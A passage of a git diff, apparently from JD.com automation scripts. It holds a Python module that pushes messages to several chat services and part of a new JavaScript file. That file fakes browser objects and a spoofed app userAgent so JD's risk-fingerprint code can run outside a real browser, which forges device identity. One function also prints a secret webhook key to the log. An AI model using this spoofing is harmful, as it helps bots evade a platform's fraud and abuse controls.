notify_mode.append('pushplus_bot') + # print("微信推送Plus机器人 推送打开") +if QYWX_AM: + notify_mode.append('wecom_app') + # print("企业微信机器人 推送打开") + +if QYWX_KEY: + notify_mode.append('wecom_key') + # print("企业微信机器人 推送打开") + + +def message(str_msg): + global message_info + print(str_msg) + message_info = "{}\n{}".format(message_info, str_msg) + sys.stdout.flush() + +def bark(title, content): + print("\n") + if BARK: + try: + response = requests.get( + f"""https://api.day.app/{BARK}/{title}/{urllib.parse.quote_plus(content)}""").json() + if response['code'] == 200: + print('推送成功!') + else: + print('推送失败!') + except: + print('推送失败!') + if BARK_PUSH: + try: + response = requests.get( + f"""{BARK_PUSH}/{title}/{urllib.parse.quote_plus(content)}""").json() + if response['code'] == 200: + print('推送成功!') + else: + print('推送失败!') + except: + print('推送失败!') + print("bark服务启动") + if BARK=='' and BARK_PUSH=='': + print("bark服务的bark_token未设置!!\n取消推送") + return + +def serverJ(title, content): + print("\n") + if not SCKEY: + print("server酱服务的SCKEY未设置!!\n取消推送") + return + print("serverJ服务启动") + data = { + "text": title, + "desp": content.replace("\n", "\n\n") + } + response = requests.post(f"https://sc.ftqq.com/{SCKEY}.send", data=data).json() + if response['errno'] == 0: + print('推送成功!') + else: + print('推送失败!') + +# tg通知 +def telegram_bot(title, content): + try: + print("\n") + bot_token = TG_BOT_TOKEN + user_id = TG_USER_ID + if not bot_token or not user_id: + print("tg服务的bot_token或者user_id未设置!!\n取消推送") + return + print("tg服务启动") + if TG_API_HOST: + if 'http' in TG_API_HOST: + url = f"{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" + else: + url = f"https://{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" + else: + url = f"https://api.telegram.org/bot{TG_BOT_TOKEN}/sendMessage" + + headers = {'Content-Type': 'application/x-www-form-urlencoded'} + payload = {'chat_id': str(TG_USER_ID), 'text': f'{title}\n\n{content}', 'disable_web_page_preview': 'true'} + proxies = None + if TG_PROXY_IP and TG_PROXY_PORT: + proxyStr = "http://{}:{}".format(TG_PROXY_IP, TG_PROXY_PORT) + proxies = {"http": proxyStr, "https": proxyStr} + try: + response = requests.post(url=url, headers=headers, params=payload, proxies=proxies).json() + except: + print('推送失败!') + if response['ok']: + print('推送成功!') + else: + print('推送失败!') + except Exception as e: + print(e) + +def dingding_bot(title, content): + timestamp = str(round(time.time() * 1000)) # 时间戳 + secret_enc = DD_BOT_SECRET.encode('utf-8') + string_to_sign = '{}\n{}'.format(timestamp, DD_BOT_SECRET) + string_to_sign_enc = string_to_sign.encode('utf-8') + hmac_code = hmac.new(secret_enc, string_to_sign_enc, digestmod=hashlib.sha256).digest() + sign = urllib.parse.quote_plus(base64.b64encode(hmac_code)) # 签名 + print('开始使用 钉钉机器人 推送消息...', end='') + url = f'https://oapi.dingtalk.com/robot/send?access_token={DD_BOT_ACCESS_TOKEN}×tamp={timestamp}&sign={sign}' + headers = {'Content-Type': 'application/json;charset=utf-8'} + data = { + 'msgtype': 'text', + 'text': {'content': f'{title}\n\n{content}'} + } + response = requests.post(url=url, data=json.dumps(data), headers=headers, timeout=15).json() + if not response['errcode']: + print('推送成功!') + else: + print('推送失败!') + +def coolpush_bot(title, content): + print("\n") + if not QQ_SKEY or not QQ_MODE: + print("qq服务的QQ_SKEY或者QQ_MODE未设置!!\n取消推送") + return + print("qq服务启动") + url=f"https://qmsg.zendee.cn/{QQ_MODE}/{QQ_SKEY}" + payload = {'msg': f"{title}\n\n{content}".encode('utf-8')} + response = requests.post(url=url, params=payload).json() + if response['code'] == 0: + print('推送成功!') + else: + print('推送失败!') +# push推送 +def pushplus_bot(title, content): + try: + print("\n") + if not PUSH_PLUS_TOKEN: + print("PUSHPLUS服务的token未设置!!\n取消推送") + return + print("PUSHPLUS服务启动") + url = 'http://www.pushplus.plus/send' + data = { + "token": PUSH_PLUS_TOKEN, + "title": title, + "content": content + } + body = json.dumps(data).encode(encoding='utf-8') + headers = {'Content-Type': 'application/json'} + response = requests.post(url=url, data=body, headers=headers).json() + if response['code'] == 200: + print('推送成功!') + else: + print('推送失败!') + except Exception as e: + print(e) + + + +print("xxxxxxxxxxxx") +def wecom_key(title, content): + print("\n") + if not QYWX_KEY: + print("QYWX_KEY未设置!!\n取消推送") + return + print("QYWX_KEY服务启动") + print("content"+content) + headers = {'Content-Type': 'application/json'} + data = { + "msgtype":"text", + "text":{ + "content":title+"\n"+content.replace("\n", "\n\n") + } + } + + print(f"https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key={QYWX_KEY}") + response = requests.post(f"https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key={QYWX_KEY}", json=data,headers=headers).json() + print(response) + + +# 企业微信 APP 推送 +def wecom_app(title, content): + try: + if not QYWX_AM: + print("QYWX_AM 并未设置!!\n取消推送") + return + QYWX_AM_AY = re.split(',', QYWX_AM) + if 4 < len(QYWX_AM_AY) > 5: + print("QYWX_AM 设置错误!!\n取消推送") + return + corpid = QYWX_AM_AY[0] + corpsecret = QYWX_AM_AY[1] + touser = QYWX_AM_AY[2] + agentid = QYWX_AM_AY[3] + try: + media_id = QYWX_AM_AY[4] + except: + media_id = '' + wx = WeCom(corpid, corpsecret, agentid) + # 如果没有配置 media_id 默认就以 text 方式发送 + if not media_id: + message = title + '\n\n' + content + response = wx.send_text(message, touser) + else: + response = wx.send_mpnews(title, content, media_id, touser) + if response == 'ok': + print('推送成功!') + else: + print('推送失败!错误信息如下:\n', response) + except Exception as e: + print(e) + +class WeCom: + def __init__(self, corpid, corpsecret, agentid): + self.CORPID = corpid + self.CORPSECRET = corpsecret + self.AGENTID = agentid + + def get_access_token(self): + url = 'https://qyapi.weixin.qq.com/cgi-bin/gettoken' + values = {'corpid': self.CORPID, + 'corpsecret': self.CORPSECRET, + } + req = requests.post(url, params=values) + data = json.loads(req.text) + return data["access_token"] + + def send_text(self, message, touser="@all"): + send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() + send_values = { + "touser": touser, + "msgtype": "text", + "agentid": self.AGENTID, + "text": { + "content": message + }, + "safe": "0" + } + send_msges = (bytes(json.dumps(send_values), 'utf-8')) + respone = requests.post(send_url, send_msges) + respone = respone.json() + return respone["errmsg"] + + def send_mpnews(self, title, message, media_id, touser="@all"): + send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() + send_values = { + "touser": touser, + "msgtype": "mpnews", + "agentid": self.AGENTID, + "mpnews": { + "articles": [ + { + "title": title, + "thumb_media_id": media_id, + "author": "Author", + "content_source_url": "", + "content": message.replace('\n', '
'), + "digest": message + } + ] + } + } + send_msges = (bytes(json.dumps(send_values), 'utf-8')) + respone = requests.post(send_url, send_msges) + respone = respone.json() + return respone["errmsg"] + +def send(title, content): + """ + 使用 bark, telegram bot, dingding bot, serverJ 发送手机推送 + :param title: + :param content: + :return: + """ + + for i in notify_mode: + if i == 'bark': + if BARK or BARK_PUSH: + bark(title=title, content=content) + else: + print('未启用 bark') + continue + if i == 'sc_key': + if SCKEY: + serverJ(title=title, content=content) + else: + print('未启用 Server酱') + continue + elif i == 'dingding_bot': + if DD_BOT_ACCESS_TOKEN and DD_BOT_SECRET: + dingding_bot(title=title, content=content) + else: + print('未启用 钉钉机器人') + continue + elif i == 'telegram_bot': + if TG_BOT_TOKEN and TG_USER_ID: + telegram_bot(title=title, content=content) + else: + print('未启用 telegram机器人') + continue + elif i == 'coolpush_bot': + if QQ_SKEY and QQ_MODE: + coolpush_bot(title=title, content=content) + else: + print('未启用 QQ机器人') + continue + elif i == 'pushplus_bot': + if PUSH_PLUS_TOKEN: + pushplus_bot(title=title, content=content) + else: + print('未启用 PUSHPLUS机器人') + continue + elif i == 'wecom_app': + if QYWX_AM: + wecom_app(title=title, content=content) + else: + print('未启用企业微信应用消息推送') + continue + elif i == 'wecom_key': + if QYWX_KEY: + + for i in range(int(len(content)/2000)+1): + wecom_key(title=title, content=content[i*2000:(i+1)*2000]) + + + else: + print('未启用企业微信应用消息推送') + continue + else: + print('此类推送方式不存在') + + +def main(): + send('title', 'content') + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/sign_graphics_validate.js b/sign_graphics_validate.js new file mode 100644 index 0000000..675729f --- /dev/null +++ b/sign_graphics_validate.js @@ -0,0 +1,2085 @@ +const navigator = { + userAgent: `jdapp;iPhone;10.1.0;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + plugins: { length: 0 }, + language: "zh-CN", +}; +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, + +} +const window = { + +} +const document = { + location: { + "ancestorOrigins": {}, + "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "origin": "https://prodev.m.jd.com", + "protocol": "https:", + "host": "prodev.m.jd.com", + "hostname": "prodev.m.jd.com", + "port": "", + "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "search": "", + "hash": "" + } +}; +var start_time = (new Date).getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + + function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(a + 64 >>> 9 << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B) + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + + "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); + return a + } + function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A(a << h | a >>> 32 - h, c) + } + + function v(a, b, c, l, h, q, z) { + return u(b & c | ~b & l, a, b, h, q, z) + } + + function x(a, b, c, l, h, q, z) { + return u(b & l | c & ~l, a, b, h, q, z) + } + + function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z) + } + + function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 + } + _fingerprint_step = 2; + var y = "", + n = navigator.userAgent.toLowerCase(); + n.indexOf("jdapp") && (n = n.substring(0, 90)); + var e = navigator.language, + f = n; - 1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( + "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || + f.indexOf("windows mobile"); + var r = "NA", + k = "NA"; + try { + -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != + f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( + r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = + "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( + "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f + .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = + "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), + -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = + "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( + "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != + f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( + "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = + "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = + "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( + "SymbianOS/") + 10, 3)) + } catch (a) { } + _fingerprint_step = 3; + var g = "NA", + m = "NA"; + try { + -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( + 0, m.indexOf(";")))); - 1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( + "firefox/") + 8)); - 1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, + 4)); - 1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); - 1 != f.indexOf( + "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( + 0, m.indexOf(" ")))); - 1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( + "navigator/") + 10)); - 1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( + "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - 1 != f.indexOf( + "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; - 1 != + f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - 1 != f.indexOf("360se") && (g = + "360\u6d4f\u89c8\u5668"); - 1 != f.indexOf("the world") && (g = + "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - 1 != f.indexOf("maxthon") && (g = + "\u9068\u6e38\u6d4f\u89c8\u5668") + } catch (a) { } + + +class JdJrTdRiskFinger { + f = { + options: function (){ + return {} + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b + }, + getData: function () { + return y + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + + e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + + m + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b) + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( + navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); + return a + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b);) a = a.replace(b, c); + return a + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" + }, + languageKey: function (a) { + '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( + navigator.language, " ", "_") + "'"); + return a + }, + colorDepthKey: function (a) { + '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + + screen.colorDepth + "'"); + return a + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( + "x") + "'") + } + return a + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, + screen.width] : [screen.width, screen.height] : [screen.height, screen.width] + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + + ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); + return a + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), + y += ",'sessionStorage':true"); + return a + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += + ",'localStorage':true"); + return a + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += + ",'indexedDb':true"); + return a + }, + addBehaviorKey: function (a) { + document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( + "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; + return a + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += + ",'openDatabase':true") : y += ",'openDatabase':false"; + return a + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this + .getNavigatorCpuClass() + "'"); + return a + }, + platformKey: function (a) { + this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + + this.getNavigatorPlatform() + "'"); + return a + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + + "'"); + return a + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" + } + return a + }, + webglKey: function (a) { + if (!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" + } + return a + }, + pluginsKey: function (a) { + this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + + "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + + "'"); + return a + }, + getRegularPluginsString: function () { + return this.map(navigator.plugins, function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~") + }).join(","); + return [a.name, a.description, b].join("::") + }, this).join(";") + }, + getIEPluginsString: function () { + return window.ActiveXObject ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" + .split(";"), + function (a) { + try { + return new ActiveXObject(a), a + } catch (b) { + return null + } + }).join(";") : "" + }, + hasSessionStorage: function () { + try { + return !!window.sessionStorage + } catch (a) { + return !0 + } + }, + hasLocalStorage: function () { + try { + return !!window.localStorage + } catch (a) { + return !0 + } + }, + hasIndexedDB: function () { + return true + return !!window.indexedDB + }, + getNavigatorCpuClass: function () { + return navigator.cpuClass ? navigator.cpuClass : "NA" + }, + getNavigatorPlatform: function () { + return navigator.platform ? navigator.platform : "NA" + }, + getHardwareConcurrency: function () { + return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" + }, + getDoNotTrack: function () { + return navigator.doNotTrack ? navigator.doNotTrack : "NA" + }, + getCanvasFp: function () { + return ''; + var a = navigator.userAgent.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = document.createElement("canvas"); + var b = a.getContext("2d"); + b.fillStyle = "red"; + b.fillRect(30, 10, 200, 100); + b.strokeStyle = "#1a3bc1"; + b.lineWidth = 6; + b.lineCap = "round"; + b.arc(50, 50, 20, 0, Math.PI, !1); + b.stroke(); + b.fillStyle = "#42e1a2"; + b.font = "15.4px 'Arial'"; + b.textBaseline = "alphabetic"; + b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); + b.shadowOffsetX = 1; + b.shadowOffsetY = 2; + b.shadowColor = "white"; + b.fillStyle = "rgba(0, 0, 200, 0.5)"; + b.font = "60px 'Not a real font'"; + b.fillText("No\u9a97", 40, 80); + return a.toDataURL() + }, + getWebglFp: function () { + var a = navigator.userAgent; + a = a.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = function (D) { + b.clearColor(0, 0, 0, 1); + b.enable(b.DEPTH_TEST); + b.depthFunc(b.LEQUAL); + b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); + return "[" + D[0] + ", " + D[1] + "]" + }; + var b = this.getWebglCanvas(); + if (!b) return null; + var c = [], + l = b.createBuffer(); + b.bindBuffer(b.ARRAY_BUFFER, l); + var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); + b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); + l.itemSize = 3; + l.numItems = 3; + h = b.createProgram(); + var q = b.createShader(b.VERTEX_SHADER); + b.shaderSource(q, + "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" + ); + b.compileShader(q); + var z = b.createShader(b.FRAGMENT_SHADER); + b.shaderSource(z, + "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" + ); + b.compileShader(z); + b.attachShader(h, q); + b.attachShader(h, z); + b.linkProgram(h); + b.useProgram(h); + h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); + h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); + b.enableVertexAttribArray(h.vertexPosArray); + b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); + b.uniform2f(h.offsetUniform, 1, 1); + b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); + null != b.canvas && c.push(b.canvas.toDataURL()); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); + c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); + c.push("w3" + b.getParameter(b.ALPHA_BITS)); + c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); + c.push("w5" + b.getParameter(b.BLUE_BITS)); + c.push("w6" + b.getParameter(b.DEPTH_BITS)); + c.push("w7" + b.getParameter(b.GREEN_BITS)); + c.push("w8" + function (D) { + var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( + "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( + "MOZ_EXT_texture_filter_anisotropic"); + return F ? (B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), + B) : null + }(b)); + c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); + c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); + c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); + c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); + 